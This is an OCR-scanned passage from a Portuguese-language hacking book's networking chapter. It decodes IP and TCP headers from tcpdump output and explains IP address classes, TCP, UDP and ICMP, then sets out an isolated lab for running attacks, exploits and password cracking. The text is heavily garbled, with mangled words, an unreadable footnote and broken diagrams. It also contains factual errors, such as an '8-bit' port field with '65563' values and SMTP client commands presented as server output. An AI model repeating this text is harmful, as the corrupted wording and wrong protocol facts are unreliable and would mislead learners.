carregando - veja a RFCI700. O nmero de verificao (checksum) , como
vimos no pacote Ethernet (captulo 2, Redes 1), um nmero calculado na ori-
gem com base em todos os dados do pacote. Esse nmero recalculado no
destino e, caso sejam diferentes, o pacote deSC4lrt:ldo. Note que o reclculo
ocorre cada vez que o pacote passa por um roteador. Como os dados do cabe-
alho mudam durante o caminho, o checksum difcrente cm cada segmento
pelo qual passa.
Redes 11 I
Universidade 2 Ano
Logo a seguir, temos, fmalmeme, os campos de endereo. Ambos possuem
um comprimento de 32 bits. Logo aps, temos o campo opes, que pode ter
de zero a vrios bytes. Dependendo do nllmero de opes, pode ocupar vrias
linhas de 32 bits. O campo enchimento possui tamanho varivel e serve para
garantir que a ltima linha do campo opes tenha um comprimento de 32
bits, garantindo assim a consistncia do cabealho.
Vamos escovar um pouco os bits? Se voc tem acesso a algum Unix, podemos
ver o contedo dos pacotes IP com O comando tcpdump:
* tcpdump -i <interface> -1 - n - x port 80
05:39:40.734407 192.168.1 . 11.2819 > 213.61.48 . 245 . 80 : . ac).;. 357 win
6432 <nop,nop,timestamp 6322874
4500
d53d
8010
3dd4
1037367659> (DF)
0034 3779 4000 4006
30f5 Ob03 0050 785c
1920 c9b6 0000 0101
f96b
3b65 cOa8 010b
4fcO 77aa ce8b
080a 0060 7aba
Esse comando analisa todos os pacotes que entram e saem da mquina. Voc
pode observar que o prprio tcpdump decodificou algumas coisas: hora em
que o pacote passou pela interface (5h39), endereos de origem 092.168.1.11)
e destino (213.61.48.245) e alguns flags de controle.
Logo abaixo, em notao hexadecimal, esto os bytes correspondentes ao
pacote IP completo. Cada algarismo representa 4 bits.
Poderamos utilizar, em vez do tcpdump, o programa Ethereal
Cwww.etherea1.com). que tem verses para Windows e Unix e uma bonita e
funcional interface grfica. Os autores recomendam o excelente Ethereal para
diagnosticar praticamente todos os problemas envolvendo desempenho e er-
ros em redes de computadores. Para o propsito deste exemplo, entretanto, a
sada do tcpdump vai servir.
Penteando um pouco, vemos que o primeiro dgito tem o valor 4, ou seja,
0100. Estamos falando, portanto, de um pacote IPv4. O segundo dgito 5, o
que indica que nosso pacote IP possui um cabealho com cinco linhas de 32
bits (ou seja, 20 bytes ou ainda 40 algarismos de nosso cabeaUlO).
Opa! J sabemos quanto temos de cabealho. Separando-o, temos:
4500 0034 3779 4000 4006 3b65 cOaS OlOb d53d 30f5
Escovando os bits mais um pouquinho, podemos observar que:
Verso: 4
IHL: 5, ou seja, 20 bytes
TOS:OO
Tamanho total: 0034 ou 52 bytes
Identificao: 3779
1163 I
I Redes II
I Universidade H4CK3R I
11641
Flags e fragment Oft'set: 4000. As flags esto setadas como 0100, indican-
do que o pacote pode ser fr::tgmentado e que no houve, ainda, fr::tgmemao.
Os outros 12 bits esto zer::tdos (no h fragmentao).
TTL: 40, ou 64 roteadores. Quando o pacote chegar ao 64 roteador ser
descartado, a no ser que o C:lmpo TIL seja recalcul:ldo por algum outro
roteador no meio do caminho.
Protocolo: 6. Cada protocolo de camada 4 transportado pelo I
possui um nmero que o idemifica. No exemplo, o nmero 6 representa um
pacoteTCP.
Checksum: 3b65
Endereo de origem: cO.a8.01.0b - ou, em decimal , 192.168. 1.11
Endereo destino: d5.3d.30.i5 - ou, em decimal, 213.61.48.245
Endereamento IP
No captulo Redes I, vimos alguns fundamentos sobre numer::to IP. N:lquela
ocasio, dissemos que um nmero IP contm'" bytes no formato:
000.000.000.000. Cada byte, sendo um valor de 8 bits, pode obviamente conter
um valor entre O e 255, como, por exemplo, 200.230.168.1. No deve haver
duas mquinas com o mesmo endereo IP em uma mesma rede, pois seria
impossvel rotear os pacotes at o destino correto.
Os nmeros IP idemificam a interf:lce de uma mquina qualquer em lima
rede. Mais do que isso, identificam em qual rede o n est conectado CaSO
vrias redes estejam ligadas emre si. Para ver qual o nmero IP designado par::t
a sua mquina, abr::t um temtinal ou janela do DOS e d os comandos ifconfig
(no Unux), winipcfg (parA a fAmuia Win9x) e ipconfig (par::t a famlia WinNT).
No Windows XP Home, este comando no est disponvel, portanto o leitor
dever procurAr pelas Propriedades de Rede no Painel de Controle.
Qualquer que seja o comando, a sada ser parecida com esta:
ethO Encapsulamento do Link: Ethernet
Endereo de HW 00:OB : 74 :85 : 64 : 95
inet end.: 192.16B.1.11
Broadcast:192.168.1.255
Mscara:255.255.25 .0
Pode haver ou no mais infonnaes anexadas sada. Os endereos li> sio
definidos por interface. No exemplo mostrado (uma mquina Unux) aparecem
os dados relativos interrJ.ce ethO. Se houvesse mais lima interface (ex. eth I)
existiriam n(uncros IP para as duas interfaces. Outro dado que aparece o MAC
address. Mas e aqueles dois outros campos, Broadcast c Mscar::t? Para descobrir
para que ambos servem, temos de entender o conceito de classes de redes.
Redes II I
Universidade 2 Ano
Redes e Hosts
o nmero IP pode ser dividido em duas partes que identificam a rede em que
esto conectados e seu endereo nico nessa rede. Por exemplo, no endereo
192.168.1.11 , poderamos dizer que 192. 168.1 representa a rede e II repre-
senta o 11
0
computador ligado a essa rede.
Mas espere a! Onde termina o nmero de rede e onde comea o nmero de
host? Para definir isso, usamos um novo elemento, a mscara de rede. No ende-
reo do nosso exemplo, a mscara de rede e.d. 255.255.255.0. Para entender
como esse emaranhado de nmeros pode separar alguma coisa, vamos trd.ns-
formar tudo em binrios:
192 . 168 . 1.11
255 . 255 . 255 . 0
11000000 . 10101000 . 00000001 . 00001011
11111111 . 11111111. 11111111 . 00000000
Agom, basta fazer uma operao lgica E. O resultado da oper.to indica a
rede (por isso ela chamada de mscam de rede). Na prtica, significa que
todas as posies da mscara que possuem 1 indicam que aquele bit do endere-
o pertence ao nmero da rede. Em nosso exemplo, a rede seria 192. 168. 1.0.
Nosso host ficaria apenas com o nmero 11 para identific-lo nessa rede.
Mas como defmir a mscar.t correta? Par.t isso, todo o endereamento foi dividi-
do em classes. No vamos entrar em detalhes do porqu foi dividido dessa forma,
mesmo porque irrelevante pam os nossos objetivos. Basta saber que existem
dnco cL1sses de endereos, e que cada uma possui a seguinte configumo:
"
, .
"
Classe A I O I End. Rede l
End. Host
,
"
End. Rede End. Host
Classe B I 11
L ____________ ______________
,
"
Classe C 1'----'.I_'..JI_o--'- I _____ E_"_d_. _R_e_d_e ______ -'. I_E_"_d._H_os_t-.J1
Os algarismos acima dos quadros representam a posio dos bits dentro do
endereo. Vemos que endereos de classe A possuem 24 bits reservados pam
hosts e apenas 8 bits para redes. Isso nos d 256 redes diferentes, cada uma
com mais de 16 milhes de hosts. No caso da classe C, temos exatamente o
inverso: 16 milhes de redes, cada uma com 256 endereos de host possveis.
Na classe B meio a meio: 65.536 nmeros pam cada lado.
1165 1
I Redes II
I Universidade H4CK3R I
1166 1
Dependendo da aplicao, usa-se um ou outro espao de endereamento.
Fazendo as contas, e levando em considerao os bits iniciais das classes (que
nunca mudam), temos a seguinte diviso:
Classe A: de 1.0.0.0 a 126.255.255.255
Classe B: de 128.0.0.0 a 191.255.255.255
Classe C: de 192.0.0.0 a 223.255.255.255
Eu no falei cinco classes? Sim, mas as duas restantes no possuem diviso de
hosts e redes. A classe D encerra os chamados Endereos de Multicast. Enquan-
to um endereo IP nico em toda a rede, pode haver diversas mquinas com
o mesmo endereo multicast. Ele serve para enviar pacotes comuns a todas
essas mquinas. Foi criado com a idia original de suportar streamming de
udio e vdeo. Pode-se identificar um endereo de multicast pelos bits iniciais
1110 ou, em decimal, 224.A classe E foi reservada para uso futuro, mas nunca
foi aproveitada. Com o advento do IPv6, provavelmente nunca ser. Inicia com
1111 em binrio, ou 240 em decimal.
Ainda falta descobrirmos o que o tal de Broadcast. Para tanto, vamos a
algumas convenes. Em geral, as interfaces de rede consideram o valor "tudo
zero" no endereo como a palavra "este", e o valor "tudo um" como "todos".
Lembr.mdo que, nos bits de cada um dos quatro bytes do endereo JP, "tudo
zero" representado por O e "tudo um" por 255, temos:
0.0.0.0 - Esta rede
a.b.O.O - A rede a.b
O.O.x.y - Estao x.y nesta rede
255.255.255.255 - Todas as estaes
a.b.255.255 - Todas as estaes da rede a.b
Vohemos ao endereo de broadcast que vimos no tcpdump, 192.168.1.255.
Vimos que, aplicando a mscara de rede, conseguimos o endereo 192. 168. 1.0.
Este o endereo da rede 192.168.1. O zero no final do endereo indica este,
logo, poderamos decodificar "esta rede que se chama 192,168.1 ". J o 255 no
final do endereo de broadcast ("tudo um") indica "todas as mquinas da rede
192.168.1". Puxa, nem era to difciL..
Protocolo TCP
o companheiro inseparvel do IP e grande estrela da Internet o protocolo
TCP Como a maioria dos servios disponiveis baseia-se nele, devemos ter lima
noo de como o pacote TCP montado e como se comporta, para entender
como os ataques a esses servios funcionam.
Redes II I
Universidade 2 Ano
o pacote Tep
Como vimos em Redes I e, rapidamente, no captulo sobre Unix, todos os
servios de Internet que usamos - H1TP, SMTP, POp, ICQ, KaZaA - ficam
"escutando" a rede e esperando por uma conexo para si. Essa conexo d-se
por meio de portas, que so nmeros atribudos aos servios em questo e
dependem do protocolo utilizado. A porta representada por um algarismo de
8 bits, portanto temos 65563 possveis servios que usem o protocolo TCP
esculando a rede. Um exemplo clssico uma seo de e-mail. Quando se conecta
ao servidor de SMTP pela porta TCP 25, nosso programa preferido (os autores
usam Eudora e KMail) recebe dele uma string assim:
HELO smtp. seudominio. com. br
MAIL FROM: usuario1@seudominio . com.br
RCPT TO : destinatario@provedor . com. br
DATA
Date : Mon, 07 Apr 2003 12 : 16 : 35 -0500 (EST)
From:
Cada mensagem ter um cabealho parecido com esse e vrios kbytes (s
vezes, Mbytes, dependendo de quantos dias voc ficou sem verificar sua corres-
pondncia ... ). Como qualquer idiota pode ver (ei, cu posso ver!), impossvel
tr,tllsportar todos os dados de seus e-mails (ou da pgina da Web, ou do MP3 do
KaZaA) em um nico pacote TCP. Portanto, a fragmentao o mecanismo
principal do protocolo.
O cabealho TCi> tem normalmente 20 bytes e se parece com este aqui:
Porta de Origem(16)
1
Porta de Destino!16J
Nmero seqencial (32)
Nmero de Reconhecimento(32)
Tam.(4) I Reservado(6) I Flagsl61 Tamanho dajanela(6)
Verificador do TCP(16) Ponteiro de Urgncia(16)
Opes (se houver! I Enchimento
Dados
Os campos Nmero seqencial, Reconhecimento, Tamanho, Opes, Enchi-
mento e Dados tm aplicaes idnticas s do protocolo IP. Os outros campos
tm aplicao especfica para o protocolo TCP e um deles, o cam pIo Flags, o
que faz com que o protocolo funcione - e o que os hackers usam para atac-lo.
1167 I
I Redes II
I Universidade H4CK3R I
1,68 I
Vamos continuar escovando bits? A sada do comando tcpdump, que usamos
para estudar o pacote JP, era:
05 : 39 : 40 . 734407 192 . 168.1.11 . 2819 > , ack 357 win
6432 <nop,nop,timestamp 6322874 1037367659> (DF)
4500 0034 3779 4000 4006 3b65 cOa8 010b
d53d 30fS Ob03 0050 785c 4fcO 77tH ceBb
BOlO 1920 c9b6 0000 0101 OBOa 0060 7abd
3dd4 f96b
Observe os dados dentro do quadro. Esse o campo de dados do pacote IP.
Mas lembre-se: o pacote TCP est dentro do Ip, ento se separar
mos os 20 bytes iniciais do campo de dados IP temos o cabealho TCP.
Ob03 0050 785c 4fcO 77aa ce8b 5010 1920 c9b6 0000
Os primeiros 2 bytes indicam a porta de origem. Ob03 2.819 cm decimal.
uma porta maior que 1.024, ou no privilegiada, o que indica que o pacote
provavelmente
1
originouse de um software cliente. A porta-<lestino, 0050,
80 em decimal. Da, podese deduzir que este pacote:
Foi criado por um navegador Web, como o Mozilla.
Dirigese a um servidor Web, no caso o Apache do Greenpeace.org ;).
Os outros campos tambm so reveladores:
Nmero seqenciaJ:785c 4fCO.O nmero seqencial noTCP no se presta,
apenas, frJgmentao. O protocolo TCP comrola a ordem em que os pacotes
so recebidos e os ordena do destino, caso estejam fora de ordem. AJm disso,
se um pacote demora a chegar, a mquina-<lestino fJZ com a mquina<.liente o
mesmo que fazemos no McDonald's: pede pelo nmero.
Nmero de reconhecimento: 77aa ce8b. O computador-<iestino dos
pacotes sempre devolve um nmero de reconhecimento de um pacote "ntcri
ormente recebido. Esse nmero o seqencial do pacote recebido + I.
Tamanho do cabealho: 5
Flags: 010, ou seja, em binrio 010000. Os flags so, em ordem, URG, ACK,
PSII , RST, SYN e FIN. Neste exemplo, vemos que o flag ACK est ligado.
Tamanho da janela: 1.920, em decimal 6.432. a quantidade de bytes
mxima que a origem pode manipular.
I Sim, proV3,dml'ntl'. hacb:1"1i podem aJtcr:l.r /).f nmeros dos p:lcole.f envi:lJos I'or
ele p;lr.l fllur com qUl' os SSlel1lllS de defcSI JJenSl'm qUl' 5UI mlqum, um Inocl'nrc st:rvidor de InterneI
- l' dci1fcm plSS:l r o ll::lqUl' .
Redes II I
Universidade 2 Ano
Verificador: c9b6. o checksum do pacOle TCP
Ponteiro de urgncia: 0000. O protocolo TCP permite que cenos dados
dentro do pacote possam "furar a fila
n
e ser processados primeiro. A flag URG
indica que esses dados existem, e o ponteiro indica a posio, dentro da rea
de d,ldos, em que tais pacotes se encontram. Em nosso pacote-exemplo, no h
nenhum dado urgente a processar.
Portas Tep
Diz-se que o TCP um protocolo orientado a conexo. Isso significa que no
importa os caminhos pelos quais O pacote lP ande: para o TCP no existe "mun-
do l O TCP cria um canal virtual entre a origem e o destino, e esse cana.!
imune a influncias externas. A alegoria do cano perfeita: o TCP cria um
tubo entre a aplicao origem e:1 destino, e os dois lados por ele.
Quem olhar por uma extremidade no ver roteadores, cabos, IPs, Ethernet ,
placas de rede, nada disso. Ver apenas seu companheiro de conexo no outro
lado. Essa conexo s possvel porque existe o conceito de portas.
Vamos divagar um pouco. Voc j deve ter ido a algum bar ou restaurante
onde a cozinha no andar de cima e h elevadores para os diferentes tipos de
itens oferecidos no card{lpio. As bebidas no podem trafegar no mesmo eleva-
dor dos pratos quentes porque esquentaro. Estes no devem trafegar no mes-
mo ambiente das saladas, porque as deixaro murchas e possivelmente
cngordumdas. Sem falar nas sobremesas. Hipoteticamente, precisamos de, pelo
menos, quatro e1evadores
2
.
Por outro lado, todas as mesas tm, tambm, nmeros. Se voc considerar que
os garons so os pacotes as comandas podem servir como pacotes TCP.
Cada mesa "conecta-se" a um elevador por meio da comanda/TCP. A mesa 26
pode conectar-se ao elevador 4 e esperar uma sobremesa; a mesa 3 I , ao eleva-
dor 3 e espemr aquele Espaguete ao VngoU.
Note que cada um dos elevadores do nosso restaUf'J.nte presta-se a um servi-
o diferente. Se o casal da mesa 4 quiser o servio completo, ter de se conectar,
em ordem, aos elevadores I, 2, 3 e 4. O cafezinho um exemplo de servio
alternativo que vem pela mesma porta de outro: desceu pelo elevador de so-
bremesas. E a conta vem por lima porta desconhecida e misteriosa (no saiu de
e1e\'ador nenhum), estou achando que algum backdoor ...
Voltando ao domnio dos computadores, voc pode atribuir qualquer porta a
qualquer servio. Mas existem sugestes para o uso delas, todas referenciadas
na RFC 1700. Por exemplo, a porta 80 normalmente destinada aos servidores
Web ou HlTP. Quando voc abre uma pgina da Web e no diz em que porta
est, o seu navegador irere que parJ. usar a porta 80. Voc pode montar um
servidor Web e atribu-lo porta 12345, se quiser. Mas ter de informar a todos
os seus clientes que seu servidor lisa essa porta.
Z \'oc Jil .'ill um resrilllllmr("" orgimlz;/do liu nunC:I. MinllilS Ix;Ndil.f cllell:lm 5Cmpre queme!;
1169 1
I Redes II
I Universidade H4CK3R I
1170 1
Uma sesso TCP se parece com esta:
Porta Origem: 2337
Porta Destino: 80
Porta Origem: 80
Porta Destino: 2337
Observe: a porta do cliente o que chamamos de alta ou no privilegiada.
Ela maior que 1024 e nonnalmente fornecida pelo sistema operacional, que
no usa lima porta ftxa para cada aplicao, mas a prxima porta que estiver
disponvel. J a porta do servidor o que chamamos de baixa ou prioritria.
Essas portas, ao contrrio das do cliente, so definidas pelo IETF e nonnatizadas
pela RFC1700. Pense nos servios mais comuns que voc usa na Internet: FfP,
SMTP, DNS e HTfP. Suas portas, segundo a RFC I 700, so, respectivamente, 21,
2S, S3 e SO. D uma olliada na lista completa em www.ietf.orglrfc.html.
H uma maneira fcil de ver quais portas esto sendo usadas. O comando
netstat, presente tanto no Windows como em todos os Unix, mostra lOdos os
aspectos do estado da conexo do computador com a rede. Emitir o comando
sem argumentos vai mostrar todas as conexes ativas (vou usar um exemplo
do Wmdows, desta vez, para no me chamarem de radical):
c, \> NETSTAT
ativa.
Proto EndH"o local Endereo .. xt .. rno Estado
EST202,1928 192.169.1.109,netbioB OSn F,STABLISHED
EST202,2787 baYlll-e.41 . ..de. ehachucha .com, 1863 ESTABLlSHEO
'"
BST202,2934
Esn02,4065
ADSL1454.babababa.eom.ar,1346 ESTABLISHED
Experimente agora com as opes -na. A opo n diz ao netstat para no
resolver os nomes dos sites e servios, mostrando-os como nmero IP e de
porlas. Observe a coluna endereo local. As milhares logo aps o sinal de
so as portas pelas quais os aplicativos-cliente esto "escutando" e conversan-
do com os servidores. J nos endereos externos, note que h servios sendo
disponibilizados por portas privilegiadas: netbios-ssn (139), http (80) e ftp (21) .
As outras duas esto em portas altas.
Como veremos nos captulos seguintes, saber quais portas esto ativas em
nosso computador primordial para que identifiquemos possveis atividades
de hackers maliciosos. Por outro lado, conhecer as portas comuns e as ferra-
mentas que as gerenciam pode facilitar as coisas para esses mesmos hackers.
Redes II I
Universidade 2 Ano
Os bits de controle TCP
Para a maioria das aplicacs, os de controle do protocolo TCP 5.10 uma
parte do trabalho de conexo e transporte. Cada um dos seis
presentes no campo Flags do pacote IP tem uma funo especfica e importan-
le no estabelecimento, controle e gerenciamento da sesso. No captulo 2, Re-
des I, nos referimos a eles de forma rpida:
Quase todas as tcnicas de portscanning valem-se dos sinais (ou flags) TCp,
UDP ou ICMP trocados entre os programas que querem se conectar. Apenas
para referncia rpida, os sinais so estes, na ordem como aparcccm nos flags:
URG(urgent) - Sinalizadordelllb>t:ncia;
ACK.(acknowledge) -Indica qucos paoott:S anteriores foram aceitos no destino;
PSH (Push) - Um tilXl de dedcscarga" ,acck.Ta a transmisso para poderfinaliz-I.1;
RST (reset) -Interrompea oono::1o, dt,,-vidoa de linha";
SYN (synchronize) - Tentativadesincronizaoentn: pOI1.,'IS;
FIN (ftnish) - Finalizadorde COIlC!xo, llSado no firnda tranSmiss:1o(n.m l'l maisdados);
Sem os flags de controle, nenhuma conexo pode ser estabelecida ou mantida.
Para isso, o protocolo TCP-IP se utiliza de um handshake bsico de trs etapas,
que abre a sesso de comunicao e sincroniza entre as duas portas os nme-
ros seqenciais dos pacOles TCP. Observe:
SYN + SEn
c
ACK + SEO
c
e SYN + SEUs

ACK+
Vamos usar o exemplo mais manjado de todos: um servidorWeb. O computa-
dor cliente deseja conectllr-se ao servidor e obter dele a pgina principal
index.php. O cliente envia um pacote TCP ao servidor para :I porta 80 com o
flag SYN ativado e com um nmero seqencial que marcar o inicio da troca
de dados. Todos os pacoles que saem do cliente em direo ao servidor sero
seqncias em relao a esse primeiro, que vamos abreviar par.! SE<4:. O servi-
dor (se estiver escutando naquela porta) vai responder com dois flags ativados:
o ACK, indicando que reconheceu e aceitou o pacote enviado, e um novo SYN,
solicitando que o cliente aceite o seu nmero seqencial (vamos cham-lo de
SEQ). O campo nmero de reconhecimento que vai em direo ao cliente pos-
sui o SEQc e, no campo nllOtero seqencial, SEQs' O cliente, ento, responde
com um ACK + SEQs' indicando que eles podem iniciar :I transferncia de da-
dos sem problemas.
I 171 I
I Redes II
I Universidade H4CK3R I
1172 1
Como ambas as partes sabem qual o nmero seqencial do outro, fica fcil
pedir o reenvio de pacotes perdidos e ordenar os pacotes no destino. No
nem um pouco provvel que aqueles desorganizados, desordeiros e descara-
dos pacotes IP tenham resolvido passear por lugares diferemes da Internet e
chegaram no destino em uma ordem diferente da estipulada.
O que acontece quando voc, no meio do carregamento da pgina, clica no
boto Parar do seu navegador? Neste momemo, o software em questo manda
um pacote TCP para o servidor com o flag FlN ligado, como quem diz "pode
parar que no quero mais brincar". O bit RST usado para derrubar conexes
problemticas, negar tentativas no autorizadas ou incompletas de conexo
(por exemplo, a uma porta que no existe) e liberar a porta em questo, se
estiver em uso.
Esta a parte mais importante de nossos estudos sobre o protocolo TCP/IP.
Os hackers usam pesadameme os flags TCP para vasculhar nossas conexes e,
dependendo das respostas que o sistema operacional retorna, calcula ou infere
se a porta est aberta ou fechada, se existe proteo por firewall ou no e se
algumas vulnerabilidades detectveis por esse processo esto presentes.
Protocolo UDP
O TCP "carne e unha" com o Ip, e juntos eles so "pau pra toda obrd". A
maioria dos servios oferecidos na Internet baseia-se nessa dupla dinmica
(puxa, que trocadilho ruim ... ). Mas h um outro protocolo que pode ser consi-
derado o "amigo do p i t o ~ do IP.
H situaes em que toda a parafernlia de verificaes levadas a cabo pelo
TCP no so necessrias. Na maioria dessas situaes, elas at atrapalham.
Quando baixamos um programa da Internet ou uma msica pelo KaZaA (sem
pirataria, pessoal!), queremos que eles estejam megros, de outro modo no
conseguiremos utiliz-los. Mas quando estamos ouvindo rdio ou vdeo pela
Internet, a ordem dos pacotes e mesmo sua confiabitidade j no so assim to
necessrias.
nesse contexto que ent .. , em cena o User Datagram Protocol. Como o pr-
prio nome diz, o UDP um datagrama configurvel pelo usurio. Seu cabea-
lho muito simples, e cabe ao prprio programa definir as regras de conexo
e as informaes a serem trocadas entre as partes. A expresso no confivel
nonnalmente usada para descrev-lo, por no possuir fonnas de recupe"lo
de erros, mas isso uma mentira. O UDP serve para inmeros casos onde as
opes de estabilidade do Tep ainda so insuficientes e devem, portanto, ser
implementadas diretamente na aplicao.
O pacote UDP no possui nenhum dos campos de controle, seqncia e reco-
nhecimento, nada disso. Como no possvel estabelecer uma conexo com o
TCp, pois no h meios de fazer o hadshake, dizemos que o protocolo
Redes [I I
Universidade 2 Ano
UDP no orientado a conexo. Ou, usando o jargo anglo-informatiqus, ele
connectionJess.
Voltando ao nosso streamming, um pacote UDP faltando significa uma man-
chinha qualquer na minha imagem em streanuning, que passa despercebida
pela rapidez com que outra imagem colocada no lugar. J o atraso provocado
por todas as verificaes do pacote TCP tornariam o vdeo extremamente de
sagradvel de assistir. Um pacote UDP parece-se com este:
Porta UDP de Origemh61 Porta UDP de Destinol16J
Tamanho dos dados(161 Checksuml161
Dados
V-se que o pacote UDP avaro em recursos de rede. Seu cabealho tem
apenas 8 bytes, em relao ao TCP que tem 20 ou mais.
Protocolo ICMP
O pessoal que desenvolveu a famlia de protocolos TCP/lP no deu ponto sem
n. Uma das coisas mais bacanas para o controle e sinalizao de eventos e pro-
blemas nas redes lP o tal do lntemet Control Message Protocol. Sua funo
enviar comandos simples a interfaces de rede e roteadores para que eles faam
alguma coisa ou respondam com seu estado. Alm de ser usado automaticamete
pelas interfaces e roteadores, uma caixa de ferramentas muito interessante
para o administrador resolver problemas da rede. Hackers tambm adoram os
recursos que o ICMP oferece para descobrir a topologia de nossa rede ...
O ICMP um protocolo de nvel 3 (ups, deveramos t-lo colocado antes do
T l ~ no acha? Bem, achamos que, didaticamente, ele ficaria melhor aqui) . O
cabealho do ICMP literalmente o mesmo do lp, mas no campo de protoco-
los, em vez do 6 do TCP ou o 17 do UDp, colocamos 1. No campo de dados do
pacote lP inserido mais um campo de controle, o chamado ICMP l'ype Field,
que identifica o tipo de mensagem que o ICMP vai transportar. Esses cdigos
tambm esto definidos pelo IETF na (adivinhe ... ) RFC1700 e mostrados na
tabela a seguir:
1173 1
I Redes II
Universi dade H4CK3R I
1174 1
O Echo Reply [RFC792]
I Unassigned UBP]
2 Unassigned UBP]
3 Destination Unreachablc (RFC792)
4 Source Quench IRFC792]
S Redirect [RFC792]
6 Alternate Host Address UBP}
7 Unassigned UBP]
8 Echo [RFC792]
.9 Router Advertisemem IRFC1256]
10 Router Selection [RFCI256]
I I Time Exceeded (RFC7921
12 Parameter Problem [RFC792]
13 Timestamp [RFC7921
14 Timestamp Reply IRFC792]
15 Informarion Request (RfC792)
16 Information Reply (RFC7921
17 Address Mask Request IRFC9501
18 Address Mask Reply (RfC950]
19 Reserved (for Security) ISolo]
. 20-29 Reserved (for Robustncss Experiment) (ZSu]
. 30 Traceroute [RFCI3931
. 3 1 Datagram Conversion Error [RfC1475J
.32 Mobile Host Redirect (David Johnson)
. 33 lPv6 Where-Are-You (Bill Simpson]
341M I-Am-Here (Bill Simpson)
. 35 Mobile Registration Request [Bill Simpson]
36 Mobile Registration Reply IBiIJ Simpson]
37-255 Reserved UBPI
Os tipos de mensagens ICMP esto listados no formato:
Valor Mensagem [Referncia].
Alguns dos tipos de mensagem precisam de parmetros para func ionar.
Outcos, devolvem V'.llores que informam o estado dos testes realizados. O campo
em que esses valores so guardados, logo aps o Service Type, chamado de Code
Byte. Alguns valores para code bytes importantes so:
Redes II I
Universidade 2 Ano
3
Destillation Unreachable
Codcs
O Net Unreachable
1 Host Unreachable
2 Protocol Unreachable
3 Port Unreachable
[RFC792)
4 Fr.tgmentation Needed and Don't Fragment was Set
:; Source Route Failed
6 Destination NetworR Unknown
7 Destination Host Unknown
8 Source Host lsolated
9 Communicalion with Destination Network is
Administratively Prohibited
10 Communication with Dcstination Host is
Administratively Prohibited
11 Destination Network Unreachable forType of Service
12 Dcstination Host Unreachable for Type of Service
:; Redircct [RFC792)
Codes
O Redircct Datagmm for lhe Network (or subnet)
1 Redirect Datagram for the Host
2 Redirect Datagram for lhe Type of Service and Network
3 Redirect Datagram for the Type of Service and Host
11 lime Exceedcd [RFC792[
12
Codes
O Time to tive exceeded in Transit
1 Fragment ReasscmblyTime Exceeded
Pammeter Problem
Codes
O Pointcr indicates lhe error
1 Missing a Required Option
2 Bad Length
[RFC792)
[RFCl108)
Procure as RFCs indicadas e estude o significado de cada um dos sinais e
cdigos. Vale a pena!
1175 1
I Redes II
I Universidade H4CK3R I
11761
Laboratrio de Redes II
No captulo Redes I atamos os equip<UlKl1tOS utilizados pam a montagem de tUna
rede simples com dois computadores, usando um cabo de conexo cruzada, nor-
malmente apelidado de "cabo cross". NOS"iO foco prinapal era a montagem de wna
rede domstica, Stm o uso de equipamemos mais complexos como os hubs, bridges,
switches e roteadores, embora tenhamos visto a1gmnas definies desses aparelhos.
P".tr.l a realizao de muitas das experindas sugeridas nos captulos a seguir, te-
mos de preparar tuna rede de testes um pouco mais elaborJda. Fla deve ser, obvia-
mente, isolada de sua rede de produo nt.1S deve ter algtuna ligao com a Internet.
As vantagens de ter um ambiente controlado para fazer seus testes so bvias:
., No h perigo de danificar mquinas de produo ou de uso freqente;
., Da mesma fonna, sua rede corporativa estar segurd;
., Pode-se vontade com as ferramentas e exploits mostrados;
., Se voc quiser ser um black hat, possvel testar os ataques antes;
., Montar uma pequena rede pode ser uma excelente higiene menta1;
., Ser possvel fazer campeonatos de Doom depois do de aula" ;-).
O hardware necessrio baratssimo. Pelo menos trs mquinas Pentium
133 ou superior, com 64 Mil de RAM e 4 GB de espao em disco devem servir.
Mquinas que rodaro sistemas Unix para PC precisam de menos poder ainda
- velhos 486 ou mesmo 386 devem servir magistralmente. Cada uma das m-
quinas dever ter alguma placa de rede barata, mas que seja compatvel com
todos os sistemas operacionais que vamos usar. Essas mquinas podem ser
encontradas usadas por menos de RS 200 cada nos "sucates" de informtica
existentes em prdticamente todo o Brasil. Observe que nem todas as mquinas
precisam possuir monitores.
Para a rede, um hub tambm usado e barato deve servir. Como o desempenho
no ser problema aqui (muito pelo contrrio, quanto mais lenta a rede, me-
llior a troca de mensagens poder ser avaliada), qualquer hub, mesmo passivo,
servir perfeitamente. Retalhos de cabos de par tnlOado categoria 5 ou mes-
mo 3 podenl0 ser encontrados no lixo das empresas ou comprJ.dos baratinho
nas mesmas lojas de sucata.
Todo esse hardware ligado em rede merece bons sistemas operdcionais para
traballiar. Guarde sua mquina mais parruda e instale nela vrias ve rses do
Windows, em multiboot: 98 SE, Me, 2000 e XP so excelentes pedidas. Aplique
nela todos os hotfixes e Service Packs disponveis. Essa mquina ser usada
para originar ataques por meio de ferramentas Windows e para sofrer ataques
destinados a mquinas atualizadas dessas plataformas.
Na outra mquina, instale um Windows NT 4, um OpenBSD, um FrecBSD 4.5
e um Linux com opo de kernd 2.2 c 2. 4. No instale nenhum service pack ou
atualizao nela. Essa ser a
Redes II I
Universidade 2
0
Ano
Na mquina mais fraquinha, instale as verses mais atualizadas possveis do
Linux com kernel 2.4 e OpenBSD. Ser sua origem de ataques Unix. Os Unix
enxutos para PC se do bem em mquinas antigas.
Por llltimo, vamos estabelecer uma conexo com a Imernet. Uma no, quatro.
Precisamos configurar as duas mquinas seguras como gateways de uma cone-
xo de alta velocidade, portanto ambas tero duas placas de rede. O roteador
de acesso rpido poder ser "plugado" na mquina que dever prover o acesso
para aquele teste.
Como vamos brincar de War Dialers, precisamos tambm de modems de
linha discada. Cada computador dever ter o seu. O diagrama desta rede um
pouco complicada ficaria assim:
Internet
O material necessrio , ento:
- 3 computadores Pentium 133 ou 486
com memria e disco apropriados;
- 2 modems discados;
- ., placas de rede;
- I hub IOBaseT barato;
- Cabos UTP cat 3 ou melhor;
- Sistemas operacionais indicados.
Unha
I
Acesso Rpido
Se forem usados cabos e placas ser possvel descartar o hub, mas a
rede no ser mais facilmeme expansvel. Isso interessante pois, no futuro,
pode-se montar um c1uster com diversos 386 adquiridos no lixo e que, juntos,
fonnam um supercompluador respeitvel parA quebrar senhas.
Como bnus, no fim deste captulo recolliemos algumas infonnaes sobre
tecnologias de lmernel que podem ser de interesse. apenas uma referncia
rpida: h literatura mais elaborada disponvel na Internet e em bons li vros.
1177 1
I Redes II
I Universidade H4CK3R I
1178 1
Roteamento
Para que o roteador possa dirccionar os dados pelos diferentes caminhos
entre as redes interligadas , eles utilizam os chamados Protocolos de
Roteamento. Alm disso, os dispositivos tambm vm dotados de uma tabe-
la de roteamento, responsvel por identificar as rotas que sero seguidas
por datagramas. Caso o roteador no conhea o caminho pelo qual o
